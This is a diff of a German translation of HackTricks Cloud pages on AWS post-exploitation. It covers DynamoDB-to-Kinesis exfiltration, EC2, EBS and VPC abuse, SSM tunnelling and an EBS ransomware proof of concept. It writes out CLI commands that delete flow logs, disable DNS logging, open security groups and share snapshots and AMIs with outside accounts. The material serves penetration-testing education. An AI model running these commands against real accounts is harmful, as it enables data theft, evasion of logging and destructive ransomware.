-### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Kontinuierliche exfiltration via Kinesis Data Streams)
 
-Ausnutzen von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich in einen vom Angreifer kontrollierten Kinesis Data Stream zu exfiltrate. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Lese-Berechtigungen auf der Tabelle erforderlich sind.
+Ausnutzung von DynamoDB Kinesis streaming destinations, um Änderungen aus einer Tabelle kontinuierlich zu exfiltrate in einen vom Angreifer kontrollierten Kinesis Data Stream. Nach Aktivierung wird jedes INSERT/MODIFY/REMOVE-Ereignis nahezu in Echtzeit an den Stream weitergeleitet, ohne dass Leseberechtigungen für die Tabelle erforderlich sind.
 
 Minimale Berechtigungen (Angreifer):
 - `dynamodb:EnableKinesisStreamingDestination` auf der Ziel-Tabelle
 - Optional `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`, um den Status zu überwachen
-- Lese-Berechtigungen auf dem vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- Lese-Berechtigungen für den vom Angreifer kontrollierten Kinesis-Stream, um Records zu konsumieren: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -531,8 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Potentielle Auswirkungen:** Kontinuierliche, nahezu in Echtzeit exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
+**Potential Impact:** Kontinuierliche, nahezu in Echtzeit stattfindende Exfiltration von Tabellenänderungen zu einem vom Angreifer kontrollierten Kinesis-Stream ohne direkte Leseoperationen auf der Tabelle.
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index 957e6243d..d8ab3796d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -10,10 +10,10 @@ Für weitere Informationen siehe:
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Bösartiges VPC-Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPC-Traffic-Mirroring **dupliziert den eingehenden und ausgehenden Verkehr für EC2-Instanzen innerhalb eines VPC** ohne die Notwendigkeit, etwas auf den Instanzen selbst zu installieren. Dieser duplizierte Verkehr würde normalerweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet.\
-Ein Angreifer könnte dies ausnutzen, um den gesamten Verkehr zu erfassen und sensible Informationen daraus zu erhalten:
+VPC traffic mirroring **dupliziert eingehenden und ausgehenden Traffic für EC2 instances innerhalb einer VPC** ohne die Notwendigkeit, etwas auf den instances selbst zu installieren. Dieser duplizierte Traffic würde üblicherweise an etwas wie ein Netzwerk-Intrusion-Detection-System (IDS) zur Analyse und Überwachung gesendet werden.\
+Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu gewinnen:
 
 Für weitere Informationen siehe diese Seite:
 
@@ -21,9 +21,9 @@ Für weitere Informationen siehe diese Seite:
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Laufende Instanz kopieren
+### Copy Running Instance
 
-Instanzen enthalten normalerweise eine Art von sensiblen Informationen. Es gibt verschiedene Möglichkeiten, um Zugang zu erhalten (siehe [EC2 Privilegieneskalationstricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Eine andere Möglichkeit, um zu überprüfen, was sie enthält, besteht darin, **eine AMI zu erstellen und eine neue Instanz (sogar in Ihrem eigenen Konto) daraus zu starten**:
+Instances enthalten normalerweise irgendeine Art von sensiblen Informationen. Es gibt verschiedene Wege, hineinzukommen (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Allerdings ist eine andere Möglichkeit, den Inhalt zu prüfen, **ein AMI zu erstellen und daraus eine neue instance (auch in deinem eigenen account) zu starten**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,109 +49,174 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte deren Überprüfung diese Informationen offenbaren.\
-Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer Instanz** innerhalb des Kontos **einbinden**:
+**Snapshots sind Backups von volumes**, die normalerweise **sensible Informationen** enthalten; daher sollte deren Überprüfung diese Informationen offenlegen.\
+Wenn du ein **volume ohne snapshot** findest, könntest du: **einen snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer instance** innerhalb des account mounten:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+Exportiere ein EC2 AMI direkt nach S3 mit `CreateStoreImageTask`, um ein rohes Festplattenimage ohne Snapshot-Sharing zu erhalten. Dadurch sind vollständige Offline-Forensik oder Datendiebstahl möglich, ohne das Netzwerk der instance zu verändern.
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+Hänge ein io1/io2 Multi-Attach volume an eine zweite instance und mounte es read-only, um Live-Daten ohne Snapshots abzuziehen. Nützlich, wenn das Opfer-volume bereits Multi-Attach in derselben AZ aktiviert hat.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Erstelle einen EC2 Instance Connect Endpoint, erlaube Ingress und injiziere ephemere SSH-Keys, um über einen managed Tunnel auf private instances zuzugreifen. Bietet schnelle laterale Bewegungsmöglichkeiten, ohne öffentliche Ports zu öffnen.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Verschiebe die sekundäre private IP einer Opfer-ENI zu einer vom Angreifer kontrollierten ENI, um vertrauenswürdige Hosts zu impersonifizieren, die per IP allowgelistet sind. Ermöglicht das Umgehen interner ACLs oder SG-Regeln, die an bestimmte Adressen gebunden sind.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Weise eine Elastic IP vom Opfer-instance dem Angreifer zu, um eingehenden Traffic zu intercepten oder ausgehende Verbindungen zu originieren, die so aussehen, als kämen sie von vertrauenswürdigen öffentlichen IPs.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+Wenn eine Security Group-Regel eine customer-managed prefix list referenziert, erweitert das Hinzufügen von Angreifer-CIDRs zur Liste stillschweigend den Zugriff über jede abhängige SG-Regel, ohne die SG selbst zu ändern.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+Erstelle gateway- oder interface-VPC endpoints, um den ausgehenden Zugriff aus isolierten Subnetzen wiederherzustellen. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Datenexfiltration.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Leite VPC Flow Logs an ein vom Angreifer kontrolliertes S3-Bucket, um fortlaufend Netzwerk-Metadaten (Source/Destination, Ports) außerhalb des Opfer-accounts für langfristige Aufklärung zu sammeln.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
-Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie dennoch **über DNS exfiltrieren**.
+Selbst wenn du eine EC2 so einschränkst, dass kein Traffic herauskommt, kann sie dennoch **über DNS exfiltrieren**.
 
 - **VPC Flow Logs werden dies nicht aufzeichnen**.
-- Sie haben keinen Zugriff auf AWS DNS-Logs.
-- Deaktivieren Sie dies, indem Sie "enableDnsSupport" auf false setzen mit:
+- Du hast keinen Zugriff auf AWS DNS-Logs.
+- Deaktiviere dies, indem du "enableDnsSupport" auf false setzt mit:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
-Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.
+Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer kann die exfiltrierten Daten in den Cloudtrail-Logs sehen.
 
 ### Open Security Group
 
-Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
+Du könntest weiteren Zugriff auf Netzwerkdienste erhalten, indem du Ports wie folgt öffnest:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc zu ECS
+### Privesc to ECS
 
-Es ist möglich, eine EC2-Instanz zu starten und sie zu registrieren, um ECS-Instanzen auszuführen, und dann die Daten der ECS-Instanzen zu stehlen.
+Es ist möglich, eine EC2-Instanz zu starten und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und anschließend die Daten der ECS-Instanzen zu stehlen.
 
-Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+Für [**weitere Informationen siehe hier**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### VPC-Flussprotokolle entfernen
+### Remove VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
-### SSM Port Forwarding
+### SSM Port-Weiterleitung
 
 Erforderliche Berechtigungen:
 
 - `ssm:StartSession`
 
-Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr, was missbraucht werden kann, um von EC2-Instanzen zu pivotieren, die aufgrund von Sicherheitsgruppen oder NACLs keinen Netzwerkzugang haben. Ein Szenario, in dem dies nützlich ist, ist das Pivotieren von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
+Zusätzlich zur Ausführung von Befehlen ermöglicht SSM Traffic-Tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben.
+Eines der Szenarien, in denen dies nützlich ist, ist das Pivoting von einem [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) zu einem privaten EKS-Cluster.
 
-> Um eine Sitzung zu starten, benötigen Sie das SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Um eine Session zu starten, benötigen Sie das installierte SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
-1. Installieren Sie das SessionManagerPlugin auf Ihrem Computer
-2. Melden Sie sich mit dem folgenden Befehl am Bastion EC2 an:
+1. Installieren Sie das SessionManagerPlugin auf Ihrer Maschine
+2. Melden Sie sich beim Bastion EC2 mit folgendem Befehl an:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Holen Sie sich die temporären Bastion EC2 AWS-Anmeldeinformationen mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript  
-4. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` Profil  
-5. Melden Sie sich bei EKS als Bastion EC2 an:
+3. Hole die temporären AWS-Anmeldeinformationen des Bastion EC2 mit dem Skript [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Übertrage die Anmeldeinformationen auf deine eigene Maschine in der `$HOME/.aws/credentials` Datei als Profil `[bastion-ec2]`
+5. Melde dich bei EKS als Bastion EC2 an:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Aktualisieren Sie das `server`-Feld in der Datei `$HOME/.kube/config`, um auf `https://localhost` zu verweisen.  
-7. Erstellen Sie einen SSM-Tunnel wie folgt:
+6. Aktualisiere das Feld `server` in der Datei `$HOME/.kube/config`, sodass es auf `https://localhost` zeigt
+7. Erstelle einen SSM-Tunnel wie folgt:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. Der Verkehr vom `kubectl`-Tool wird jetzt über den SSM-Tunnel über die Bastion EC2 weitergeleitet, und Sie können auf den privaten EKS-Cluster von Ihrem eigenen Computer aus zugreifen, indem Sie Folgendes ausführen:
+8. Der Traffic des Tools `kubectl` wird jetzt durch den SSM-Tunnel über die Bastion EC2 weitergeleitet und Sie können von Ihrem eigenen Rechner auf den privaten EKS-Cluster zugreifen, indem Sie Folgendes ausführen:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das `--insecure-skip-tls-verify`-Flag (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch den sicheren AWS SSM-Tunnel getunnelt wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
+Beachte, dass die SSL-Verbindungen fehlschlagen, sofern du nicht das Flag `--insecure-skip-tls-verify ` setzt (oder dessen Äquivalent in K8s-Audit-Tools). Da der Traffic durch den sicheren AWS SSM-Tunnel geleitet wird, bist du vor jeglicher Art von MitM-Angriffen geschützt.
 
-Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren.
+Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Du kannst beliebige Domains und Ports setzen, um zu jedem anderen AWS-Service oder einer eigenen Anwendung zu pivotieren.
 
 ---
 
-#### Schnelles lokales ↔️ Remote-Port-Forwarding (AWS-StartPortForwardingSession)
+#### Schnelle lokale ↔ entfernte Port-Weiterleitung (AWS-StartPortForwardingSession)
 
-Wenn Sie nur **einen TCP-Port von der EC2-Instanz zu Ihrem lokalen Host weiterleiten** müssen, können Sie das `AWS-StartPortForwardingSession` SSM-Dokument verwenden (kein Remote-Host-Parameter erforderlich):
+Wenn du nur **einen TCP-Port von der EC2-Instance zu deinem lokalen Host** weiterleiten musst, kannst du das SSM-Dokument `AWS-StartPortForwardingSession` verwenden (kein Parameter für einen remote Host erforderlich):
 ```bash
 aws ssm start-session --target i-0123456789abcdef0 \
 --document-name AWS-StartPortForwardingSession \
 --parameters "portNumber"="8000","localPortNumber"="8000" \
 --region <REGION>
 ```
-Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrem Arbeitsplatz (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der Instanz **ohne das Öffnen von eingehenden Sicherheitsgruppenregeln** her.
+Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer workstation (`localPortNumber`) und dem ausgewählten Port (`portNumber`) auf der instance **ohne Öffnen von inbound Security-Group rules**.
 
 Häufige Anwendungsfälle:
 
-* **Dateiexfiltration**
-1. Starten Sie auf der Instanz einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das Sie exfiltrieren möchten:
+* **File exfiltration**
+1. Auf der instance einen schnellen HTTP-Server starten, der auf das Verzeichnis zeigt, das du exfiltrieren möchtest:
 
 ```bash
 python3 -m http.server 8000
 ```
 
-2. Holen Sie sich die Dateien von Ihrem Arbeitsplatz über den SSM-Tunnel:
+2. Von deiner workstation die Dateien über den SSM-Tunnel abrufen:
 
 ```bash
 curl http://localhost:8000/loot.txt -o loot.txt
 ```
 
-* **Zugriff auf interne Webanwendungen (z.B. Nessus)**
+* **Zugriff auf interne Webanwendungen (z. B. Nessus)**
 ```bash
 # Forward remote Nessus port 8834 to local 8835
 aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,28 +224,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
 --parameters "portNumber"="8834","localPortNumber"="8835"
 # Browse to http://localhost:8835
 ```
-Tipp: Komprimieren und verschlüsseln Sie Beweise, bevor Sie sie exfiltrieren, damit CloudTrail den Klartextinhalt nicht protokolliert:
+Tipp: Komprimiere und verschlüssele Beweise, bevor du sie exfiltrierst, damit CloudTrail den Klartext nicht protokolliert:
 ```bash
 # On the instance
 7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
 ```
-### AMI teilen
+### AMI freigeben
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
-### Suche nach sensiblen Informationen in öffentlichen und privaten AMIs
+### Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, um **nach sensiblen Informationen in öffentlichen oder privaten Amazon Machine Images (AMIs)** zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das dafür entwickelt wurde, **in öffentlichen oder privaten Amazon Machine Images (AMIs) nach sensiblen Informationen zu suchen**. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, das Einhängen ihrer Volumes und das Scannen nach potenziellen secrets oder sensiblen Daten.
 
-### EBS-Snapshot teilen
+### EBS Snapshot freigeben
 ```bash
 aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
 ### EBS Ransomware PoC
 
-Ein Proof of Concept ähnlich der Ransomware-Demonstration, die in den S3-Post-Exploitation-Notizen gezeigt wurde. KMS sollte in RMS umbenannt werden, da es so einfach ist, verschiedene AWS-Dienste damit zu verschlüsseln.
+Ein Proof-of-Concept, ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der Leichtigkeit, mit der es zur Verschlüsselung verschiedener AWS-Services verwendet werden kann, in RMS (Ransomware Management Service) umbenannt werden.
 
-Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Schlüssel in KMS. Für dieses Beispiel lassen wir AWS die Schlüsseldaten für mich verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Schlüsseldaten außerhalb der Kontrolle von AWS behalten. Ändern Sie die Schlüsselrichtlinie, um es jedem AWS-Konto-Principal zu ermöglichen, den Schlüssel zu verwenden. Für diese Schlüsselrichtlinie war der Name des Kontos 'AttackSim' und die Richtlinienregel, die allen Zugriff erlaubt, heißt 'Outside Encryption'.
+Zuerst, aus einem 'attacker' AWS-Account, erstelle einen customer managed key in KMS. In diesem Beispiel lasse ich AWS die Key-Daten verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die Key-Daten außerhalb der Kontrolle von AWS behalten. Ändere die key policy so, dass jeder AWS-Account Principal den Key verwenden darf. Für diese key policy hieß der Account 'AttackSim' und die Policy-Regel, die vollen Zugriff erlaubt, heißt 'Outside Encryption'.
 ```
 {
 "Version": "2012-10-17",
@@ -272,7 +337,7 @@ Zuerst aus einem 'Angreifer'-AWS-Konto, erstellen Sie einen kundenverwalteten Sc
 ]
 }
 ```
-Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichkeit zu ermöglichen, ein EBS-Volume zu verschlüsseln:
+Die Key-Policy-Regel muss folgendes aktiviert haben, um sie zum Verschlüsseln eines EBS-Volumes verwenden zu können:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -280,21 +345,21 @@ Die Schlüsselrichtlinienregel muss Folgendes aktiviert haben, um die Möglichke
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Jetzt mit dem öffentlich zugänglichen Schlüssel. Wir können ein 'Opfer'-Konto verwenden, das einige EC2-Instanzen mit unverschlüsselten EBS-Volumes hat. Die EBS-Volumes dieses 'Opfer'-Kontos sind das Ziel unserer Verschlüsselung, dieser Angriff erfolgt unter der Annahme eines Kompromisses eines hochprivilegierten AWS-Kontos.
+Jetzt mit dem öffentlich zugänglichen Key zur Verwendung. Wir können ein 'victim' Account verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses 'victim' Accounts sind das Ziel unserer Verschlüsselung; dieser Angriff erfolgt unter der Annahme einer Kompromittierung eines hochprivilegierten AWS-Accounts.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Ähnlich wie im S3-Ransomware-Beispiel wird dieser Angriff Kopien der angehängten EBS-Volumes mithilfe von Snapshots erstellen, den öffentlich verfügbaren Schlüssel aus dem 'Angreifer'-Konto verwenden, um die neuen EBS-Volumes zu verschlüsseln, dann die ursprünglichen EBS-Volumes von den EC2-Instanzen trennen und löschen und schließlich die Snapshots löschen, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Ähnlich dem S3 ransomware-Beispiel. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels snapshots, verwendet den öffentlich verfügbaren Key aus dem 'attacker' Account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die ursprünglichen EBS-Volumes von den EC2-Instanzen und löscht sie, und löscht abschließend die snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
-Dies führt dazu, dass nur verschlüsselte EBS-Volumes im Konto verbleiben.
+Das Ergebnis sind nur noch verschlüsselte EBS-Volumes, die im Account verfügbar sind.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-Es ist auch erwähnenswert, dass das Skript die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
+Außerdem ist zu beachten, dass das Script die EC2-Instanzen gestoppt hat, um die ursprünglichen EBS-Volumes zu detachen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind jetzt verschwunden.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-Als Nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück und entfernen die Richtlinienregel 'Outside Encryption' aus der Schlüsselrichtlinie.
+Als Nächstes kehre zur Key-Policy im 'attacker' Account zurück und entferne die 'Outside Encryption' Policy-Regel aus der Key-Policy.
 ```json
 {
 "Version": "2012-10-17",
@@ -365,15 +430,15 @@ Als Nächstes kehren Sie zur Schlüsselrichtlinie im 'Angreifer'-Konto zurück u
 ]
 }
 ```
-Warten Sie einen Moment, bis die neu festgelegte Schlüsselrichtlinie propagiert ist. Kehren Sie dann zum 'Opfer'-Konto zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
+Warte einen Moment, bis die neu gesetzte Key-Policy propagiert ist. Kehre dann zum 'Opfer'-Konto zurück und versuche, eines der neu verschlüsselten EBS-Volumes anzuhängen. Du wirst feststellen, dass du das Volume anhängen kannst.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tatsächlich wieder zu starten, wird es einfach fehlschlagen und für immer vom 'pending'-Zustand zurück in den 'stopped'-Zustand wechseln, da das angehängte EBS-Volume mit dem Schlüssel nicht entschlüsselt werden kann, da die Schlüsselrichtlinie dies nicht mehr zulässt.
+Aber wenn du versuchst, die EC2-Instance mit dem verschlüsselten EBS-Volume wirklich wieder zu starten, schlägt das einfach fehl und der Status wechselt von 'pending' zurück zu 'stopped' — dauerhaft — da das angehängte EBS-Volume nicht mit dem Key entschlüsselt werden kann, weil die Key-Policy dies nicht mehr erlaubt.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Dies ist das verwendete Python-Skript. Es nimmt AWS-Credentials für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den Schlüssel, der zur Verschlüsselung verwendet werden soll. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLEN EC2-Instanzen im angezielten AWS-Konto angehängt sind, stoppt dann jede EC2-Instanz, trennt die ursprünglichen EBS-Volumes, löscht sie und löscht schließlich alle während des Prozesses verwendeten Snapshots. Dies hinterlässt nur verschlüsselte EBS-Volumes im angezielten 'Opfer'-Konto. VERWENDEN SIE DIESES SKRIPT NUR IN EINER TESTUMGEBUNG, ES IST ZERSTÖRERISCH UND WIRD ALLE ORIGINALEN EBS-VOLUMEN LÖSCHEN. Sie können sie mit dem verwendeten KMS-Schlüssel wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, möchten Sie jedoch darauf hinweisen, dass dies letztendlich ein Ransomware-PoC ist.
+Das ist das verwendete python-Skript. Es nimmt AWS creds für ein 'Opfer'-Konto und einen öffentlich verfügbaren AWS ARN-Wert für den zu verwendenden Key zur Verschlüsselung. Das Skript erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2-Instances im zielgerichteten AWS-Konto angehängt sind, stoppt dann jede EC2-Instance, hängt die ursprünglichen EBS-Volumes ab, löscht sie und entfernt schließlich alle während des Prozesses verwendeten Snapshots. Dadurch bleiben im zielgerichteten 'Opfer'-Konto nur noch verschlüsselte EBS-Volumes übrig. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SKRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Du kannst sie mit dem verwendeten KMS-Key wiederherstellen und über Snapshots in ihren ursprünglichen Zustand zurückversetzen, aber ich möchte dich darauf hinweisen, dass es sich letztlich um einen ransomware PoC handelt.
 ```
 import boto3
 import argparse
@@ -492,6 +557,6 @@ main()
 ```
 ## Referenzen
 
-- [Pentest Partners – Wie man Dateien in AWS mit SSM überträgt](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}
